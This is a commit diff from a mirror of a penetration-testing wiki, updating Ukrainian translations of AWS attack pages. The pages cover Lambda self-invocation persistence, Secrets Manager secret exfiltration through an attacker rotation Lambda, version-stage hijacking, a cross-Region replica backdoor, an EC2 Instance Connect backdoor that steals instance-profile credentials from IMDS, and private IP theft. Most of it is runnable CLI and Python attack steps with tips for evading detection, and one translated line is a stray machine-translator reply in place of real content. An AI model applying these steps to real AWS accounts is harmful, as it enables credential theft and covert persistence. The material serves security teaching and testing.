mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
File diff suppressed because one or more lines are too long
+21
-17
@@ -1,25 +1,27 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Зловживати Lambda asynchronous destinations разом із конфігурацією Recursion, щоб змусити функцію постійно повторно викликати себе без зовнішнього планувальника (без EventBridge, cron тощо). За замовчуванням Lambda перериває рекурсивні цикли, але встановлення recursion config в Allow знову їх дозволяє. Destinations deliver on the service side for async invokes, тож один початковий виклик створює прихований, безкодовий heartbeat/backdoor канал. За бажанням обмежте частоту через reserved concurrency, щоб знизити шум.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Notes
|
||||
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
Зловживання Lambda asynchronous destinations разом із конфігурацією Recursion дозволяє змусити функцію постійно перевикликати себе без зовнішнього планувальника (без EventBridge, cron тощо). За замовчуванням Lambda припиняє рекурсивні цикли, але встановлення recursion config у Allow знову їх увімкне. Destinations доставляють виклики на стороні сервісу для async invokes, тож один початковий invoke створює малопомітний, безкодовий heartbeat/backdoor канал. За потреби можна обмежити через reserved concurrency, щоб зменшити шум.
|
||||
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
Примітки
|
||||
- Lambda не дозволяє безпосередньо налаштувати функцію як її власний destination. Використовуйте function alias як destination і надайте execution role право викликати (invoke) цей alias.
|
||||
- Мінімальні права: можливість читати/оновлювати event invoke config та recursion config цільової функції, publish a version і керувати alias, а також оновлювати політику execution role функції, щоб дозволити lambda:InvokeFunction на цьому alias.
|
||||
|
||||
## Вимоги
|
||||
- Регіон: us-east-1
|
||||
- Змінні:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
## Кроки
|
||||
|
||||
1) Get function ARN and current recursion setting
|
||||
1) Отримати ARN функції та поточну настройку recursion
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Опублікувати версію та створити/оновити alias (використовується як self destination)
|
||||
2) Опублікуйте версію та створіть/оновіть alias (використовується як self destination)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Дозволити ролі виконання функції викликати alias (потрібно для Lambda Destinations→Lambda)
|
||||
3) Дозволити ролі виконання функції викликати alias (необхідно для Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Налаштувати async destination на alias (self через alias) та вимкнути retries
|
||||
4) Налаштуйте async destination на alias (себе через alias) і вимкніть повторні спроби
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
@@ -58,12 +60,12 @@ aws lambda put-function-event-invoke-config \
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Дозволити рекурсивні петлі
|
||||
5) Дозволити рекурсивні цикли
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Ініціювати один асинхронний invoke
|
||||
6) Ініціювати один asynchronous invoke
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
@@ -73,12 +75,13 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Необов'язкове приховане обмеження швидкості
|
||||
8) Необов'язковий stealth throttle
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Очищення
|
||||
Перервіть цикл та видаліть persistence.
|
||||
|
||||
Припиніть цикл і видаліть persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
@@ -89,4 +92,5 @@ ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Вплив
|
||||
- Один async invoke змушує Lambda постійно перевикликати себе без зовнішнього планувальника, що дозволяє stealthy persistence/heartbeat. Reserved concurrency може обмежити шум до одного warm execution.
|
||||
- Один async invoke змушує Lambda постійно перевикликати себе без зовнішнього планувальника, що дозволяє приховану persistence/heartbeat. Reserved concurrency може обмежити шум до одного warm execution.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+41
-43
@@ -4,21 +4,21 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Для детальнішої інформації див.:
|
||||
Для отримання додаткової інформації див.:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Через політики ресурсів
|
||||
### Через Resource Policies
|
||||
|
||||
Можна **grant access to secrets to external accounts** через політики ресурсів. Перегляньте [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) для детальнішої інформації. Зауважте, що щоб **access a secret**, зовнішній акаунт також **need access to the KMS key encrypting the secret**.
|
||||
Можна **надавати доступ до секретів зовнішнім акаунтам** через resource policies. Дивіться [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) для більш детальної інформації. Зверніть увагу, що щоб **отримати доступ до секрету**, зовнішньому акаунту також **потрібен доступ до KMS key, який шифрує секрет**.
|
||||
|
||||
### Через Secrets Rotate Lambda
|
||||
|
||||
Щоб автоматично **rotate secrets**, викликається налаштований **Lambda**. Якщо атакуючий зможе **change** **code**, він зможе безпосередньо **exfiltrate the new secret** собі.
|
||||
Щоб автоматично **rotate secrets**, викликається налаштований **Lambda**. Якщо нападник зможе **змінити** **code**, він міг би безпосередньо **exfiltrate the new secret** собі.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
Ось як може виглядати lambda code для такої дії:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -48,29 +48,27 @@ import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Замінити rotation Lambda на функцію, контрольовану атакуючим, через RotateSecret
|
||||
|
||||
### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
|
||||
Зловживайте `secretsmanager:RotateSecret`, щоб переприв’язати секрет до rotation Lambda, контрольованої атакуючим, і викликати негайну ротацію. Зловмисна функція експфільтрує версії секрету (AWSCURRENT/AWSPENDING) під час кроків ротації (createSecret/setSecret/testSecret/finishSecret) у сховище атакуючого (наприклад, S3 або зовнішній HTTP).
|
||||
|
||||
Зловживання `secretsmanager:RotateSecret` для перев'язки секрету на контрольовану зловмисником rotation Lambda і виклику негайної ротації. Зловмисна функція екзфільтрує значення версій секрету (AWSCURRENT/AWSPENDING) під час кроків ротації (createSecret/setSecret/testSecret/finishSecret) до місця екзфільтрації зловмисника (наприклад, S3 або зовнішній HTTP).
|
||||
- Вимоги
|
||||
- Права доступу: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` на attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (або AttachRolePolicy) для надання ролі виконання Lambda прав `secretsmanager:GetSecretValue` і бажано `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (щоб ротація продовжувала працювати), KMS `kms:Decrypt` для KMS-ключа секрету, та `s3:PutObject` (або вихідний трафік) для експфільтрації.
|
||||
- Цільовий secret id (`SecretId`) з увімкненою ротацією або можливістю увімкнути ротацію.
|
||||
|
||||
- Requirements
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
|
||||
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
|
||||
- Наслідки
|
||||
- Атакуючий отримує значення(я) секрету без модифікації легітимного коду ротації. Змінюється лише конфігурація ротації, щоб вказувати на Lambda атакуючого. Якщо це не помітять, заплановані майбутні ротації також і далі будуть викликати функцію атакуючого.
|
||||
|
||||
- Impact
|
||||
- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.
|
||||
|
||||
- Attack steps (CLI)
|
||||
1) Prepare attacker sink and Lambda role
|
||||
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
|
||||
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
|
||||
3) Rebind rotation and trigger
|
||||
- Кроки атаки (CLI)
|
||||
1) Підготуйте місце для експфільтрації атакуючого та роль для Lambda
|
||||
- Створіть S3 bucket для експфільтрації та роль виконання, якій довіряє Lambda, з правами читати секрет і записувати в S3 (плюс логи/KMS за потреби).
|
||||
2) Розгорніть attacker Lambda, яка на кожному кроці ротації отримує значення(я) секрету і записує їх в S3. Мінімальна логіка ротації може просто копіювати AWSCURRENT в AWSPENDING і просувати його у finishSecret, щоб сервіс працював коректно.
|
||||
3) Переприв'яжіть ротацію і запустіть
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
|
||||
5) (Optional) Restore the original rotation Lambda to reduce detection.
|
||||
4) Перевірте експфільтрацію, перерахувавши префікс S3 для цього секрету та проінспектувавши JSON-артефакти.
|
||||
5) (За бажанням) Відновіть оригінальну rotation Lambda, щоб зменшити ймовірність виявлення.
|
||||
|
||||
- Example attacker Lambda (Python) exfiltrating to S3
|
||||
- Приклад attacker Lambda (Python), яка експфільтрує в S3
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
@@ -98,23 +96,23 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking для прихованої persistence (custom stage + fast AWSCURRENT flip)
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Зловживайте версіонними staging-мітками у Secrets Manager, щоб розмістити версію секрету під контролем атакуючого і приховати її під кастомним stage (наприклад, `ATTACKER`), поки продакшен продовжує використовувати оригінальний `AWSCURRENT`. У будь-який момент перемістіть `AWSCURRENT` на версію атакуючого, щоб отруїти залежні робочі навантаження, а потім відновіть його, щоб мінімізувати виявлення. Це забезпечує прихований backdoor persistence і швидку маніпуляцію часом використання без зміни імені секрету або rotation config.
|
||||
Зловживання маркуванням версій Secrets Manager для встановлення версії секрету під контролем атакуючого і приховування її під кастомним stage (наприклад, `ATTACKER`), поки production продовжує використовувати оригінальний `AWSCURRENT`. У будь-який момент перемістіть `AWSCURRENT` на версію атакуючого, щоб отруїти залежні робочі навантаження, а потім відновіть її для мінімізації виявлення. Це забезпечує приховану бекдор-persistence та швидку маніпуляцію часом використання без зміни імені секрету або конфігурації rotation.
|
||||
|
||||
- Вимоги
|
||||
- Права: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (для перевірки)
|
||||
- Ідентифікатор цільового секрету у регіоні.
|
||||
- Requirements
|
||||
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
|
||||
- Target secret id in the Region.
|
||||
|
||||
- Вплив
|
||||
- Підтримувати приховану версію секрету під контролем атакуючого і атомарно перемикати `AWSCURRENT` на неї за вимогою, впливаючи на будь-якого споживача, який резолвить те саме ім'я секрету. Перемикання та швидкий відкат зменшують шанс виявлення, одночасно дозволяючи компрометацію під час використання.
|
||||
- Impact
|
||||
- Підтримувати приховану, під контролем атакуючого версію секрету та атомарно переключати `AWSCURRENT` на неї за потреби, впливаючи на будь-якого споживача, який резолвить те саме ім'я секрету. Швидке переключення і швидке відновлення знижують ймовірність виявлення, одночасно дозволяючи компрометацію в момент використання.
|
||||
|
||||
- Кроки атаки (CLI)
|
||||
- Підготовка
|
||||
- Attack steps (CLI)
|
||||
- Preparation
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>Команди CLI</summary>
|
||||
<summary>CLI commands</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
@@ -164,20 +162,20 @@ aws secretsmanager update-secret-version-stage \
|
||||
</details>
|
||||
|
||||
- Примітки
|
||||
- Коли ви вказуєте `--client-request-token`, Secrets Manager використовує його як `VersionId`. Додавання нової версії без явного встановлення `--version-stages` за замовчуванням переміщує `AWSCURRENT` на нову версію та позначає попередню як `AWSPREVIOUS`.
|
||||
- When you supply `--client-request-token`, Secrets Manager uses it as the `VersionId`. Adding a new version without explicitly setting `--version-stages` moves `AWSCURRENT` to the new version by default, and marks the previous one as `AWSPREVIOUS`.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Зловживати Secrets Manager multi-Region replication, щоб створити репліку цільового секрету в менш-моніторованому Region, зашифрувати її attacker-controlled KMS key у цьому Region, потім promote репліку до standalone secret і прикріпити permissive resource policy, який надає attacker read access. Оригінальний secret у primary Region залишається незмінним, що забезпечує довготривалий, прихований доступ до значення секрету через promoted replica, водночас обходячи KMS/policy обмеження на primary.
|
||||
Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
|
||||
|
||||
- Вимоги
|
||||
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- У replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (або `kms:PutKeyPolicy`) щоб дозволити attacker principal виконувати `kms:Decrypt`.
|
||||
- Наявність attacker principal (user/role), який отримає read access до promoted secret.
|
||||
- In the replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) to allow the attacker principal `kms:Decrypt`.
|
||||
- An attacker principal (user/role) to receive read access to the promoted secret.
|
||||
|
||||
- Вплив
|
||||
- Постійний cross-Region шлях доступу до значення секрету через standalone replica під attacker-controlled KMS CMK і permissive resource policy. Primary secret в оригінальному Region залишається недоторканим.
|
||||
- Persistent cross-Region access path to the secret value through a standalone replica under an attacker-controlled KMS CMK and permissive resource policy. The primary secret in the original Region is untouched.
|
||||
|
||||
- Атака (CLI)
|
||||
- Змінні
|
||||
@@ -188,7 +186,7 @@ export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Створити attacker-controlled KMS key у replica Region
|
||||
1) Створити KMS key, контрольований зловмисником, у replica Region
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
@@ -201,20 +199,20 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) Реплікуйте секрет в R2, використовуючи attacker KMS key
|
||||
2) Реплікувати secret у R2, використовуючи attacker KMS key
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) Підвищити репліку до автономного екземпляра в R2
|
||||
3) Перетворити репліку на автономний екземпляр у R2
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Прикріпити пом'якшену політику доступу ресурсу до окремого секрету в R2
|
||||
4) Прикріпити пермісивну політику ресурсу до standalone secret у R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
@@ -222,9 +220,9 @@ JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) Прочитайте секрет із attacker principal у R2
|
||||
5) Прочитайте секрет від attacker principal у R2
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+17
-16
@@ -2,21 +2,21 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Зловживати EC2 Instance Connect Endpoint (EIC Endpoint), щоб отримати вхідний SSH доступ до приватних EC2 інстансів (без публічної IP/bastion) шляхом:
|
||||
Зловживання EC2 Instance Connect Endpoint (EIC Endpoint) для отримання вхідного SSH-доступу до приватних EC2 інстансів (без публічної IP/bastion) шляхом:
|
||||
- Створення EIC Endpoint всередині цільової підмережі
|
||||
- Дозволити вхідний SSH на цільовому SG з SG EIC Endpoint
|
||||
- Інжекція короткочасного SSH публічного ключа (дійсний ~60 секунд) за допомогою `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Дозволити вхідний SSH на цільовому SG від SG EIC Endpoint
|
||||
- Інжектування короткочасного SSH публічного ключа (діє ~60 секунд) за допомогою `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Відкриття EIC тунелю та pivoting до інстансу для викрадення облікових даних instance profile з IMDS
|
||||
|
||||
Вплив: прихований віддалений шлях доступу до приватних EC2 інстансів, який обходить bastions та обмеження публічних IP. Атакуючий може отримати instance profile та діяти в акаунті.
|
||||
Impact: прихований шлях віддаленого доступу до приватних EC2 інстансів, який обходить bastions та обмеження публічних IP. Атакуючий може assume the instance profile і діяти в акаунті.
|
||||
|
||||
## Вимоги
|
||||
- Права на:
|
||||
## Requirements
|
||||
- Права для:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- Цільовий Linux інстанс з SSH сервером та увімкненим EC2 Instance Connect (Amazon Linux 2 або Ubuntu 20.04+). Стандартні користувачі: `ec2-user` (AL2) або `ubuntu` (Ubuntu).
|
||||
- Цільовий Linux інстанс з SSH сервером та увімкненим EC2 Instance Connect (Amazon Linux 2 або Ubuntu 20.04+). Користувачі за замовчуванням: `ec2-user` (AL2) або `ubuntu` (Ubuntu).
|
||||
|
||||
## Змінні
|
||||
## Variables
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## Створити EIC Endpoint
|
||||
## Створити EIC кінцеву точку
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
@@ -45,13 +45,13 @@ grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## Дозволити трафік від EIC Endpoint до цільової інстанції
|
||||
## Дозволити трафік від EIC Endpoint до цільового екземпляра
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Ін'єкція ефемерного SSH-ключа та відкриття тунелю
|
||||
## Інжектувати ephemeral SSH key і відкрити тунель
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Post-exploitation доказ (steal instance profile credentials)
|
||||
## Доказ постексплуатації (steal instance profile credentials)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
Будь ласка, вставте вміст файлу src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md або надайте текст, який потрібно перекласти.
|
||||
Я не бачу вміст файлу для перекладу. Будь ласка, вставте текст (з markdown/html та кодом), який потрібно перекласти на українську, і я збережу всі теги, посилання й шляхи без змін.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
@@ -89,7 +89,7 @@ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat R
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
Використайте вкрадені creds локально для перевірки ідентичності:
|
||||
Використовуйте вкрадені creds локально, щоб підтвердити особу:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Примітки
|
||||
> - Інжектований SSH-ключ дійсний лише близько ~60 секунд; надішліть ключ безпосередньо перед відкриттям тунелю/SSH.
|
||||
> - `OS_USER` повинен відповідати AMI (наприклад, `ubuntu` для Ubuntu, `ec2-user` для Amazon Linux 2).
|
||||
> - Введений SSH-ключ дійсний лише ~60 секунд; надішліть ключ безпосередньо перед відкриттям тунелю/SSH.
|
||||
> - `OS_USER` має відповідати AMI (наприклад, `ubuntu` для Ubuntu, `ec2-user` для Amazon Linux 2).
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+14
-13
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Зловживати `ec2:UnassignPrivateIpAddresses` та `ec2:AssignPrivateIpAddresses`, щоб вкрасти secondary private IP ENI жертви та перемістити її на ENI нападника в тому ж subnet/AZ. Багато внутрішніх сервісів і security groups контролюють доступ за конкретними приватними IP-адресами. Перемістивши цю secondary адресу, нападник видає себе за довірений хост на рівні L3 і може отримати доступ до allowlisted services.
|
||||
Зловживати `ec2:UnassignPrivateIpAddresses` та `ec2:AssignPrivateIpAddresses`, щоб викрасти вторинну приватну IP-адресу ENI жертви та перемістити її на ENI атакуючого у тій же підмережі/AZ. Багато внутрішніх сервісів та security groups обмежують доступ за конкретними приватними IP. Переміщуючи цю вторинну адресу, атакуючий видає себе за довірений хост на L3 і може отримати доступ до allowlisted сервісів.
|
||||
|
||||
Prereqs:
|
||||
- Права: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
|
||||
- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
|
||||
Передумови:
|
||||
- Дозволи: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` на ARN ENI жертви, та `ec2:AssignPrivateIpAddresses` на ARN ENI атакуючого.
|
||||
- Обидва ENI мають бути в одній підмережі/AZ. Цільова адреса має бути вторинною IP (primary неможна відв'язати).
|
||||
|
||||
Variables:
|
||||
- REGION=us-east-1
|
||||
@@ -16,35 +16,36 @@ Variables:
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Кроки:
|
||||
1) Оберіть secondary IP з ENI жертви
|
||||
1) Виберіть вторинну IP-адресу з ENI жертви
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) Переконайтеся, що захищений хост дозволяє лише ту IP-адресу (ідемпотентно). Якщо натомість використовуєте правила SG-to-SG, пропустіть.
|
||||
2) Переконайтеся, що захищений хост дозволяє лише ту IP-адресу (операція має бути ідемпотентною). Якщо натомість використовуються правила SG-to-SG, пропустіть.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Базова перевірка: з attacker instance запит до PROTECTED_HOST має зазнати невдачі без підробленого джерела (наприклад, через SSM/SSH)
|
||||
3) Базовий: з attacker instance, запит до PROTECTED_HOST повинен не пройти без spoofed source (наприклад, через SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) Зніміть призначення вторинної IP-адреси з ENI жертви
|
||||
4) Зніміть вторинну IP-адресу з victim ENI
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) Призначте той самий IP атакуючому ENI (у AWS CLI v1 додайте `--allow-reassignment`)
|
||||
5) Призначте ту саму IP-адресу ENI атакуючого (на AWS CLI v1 додайте `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) Перевірити, що право власності передано
|
||||
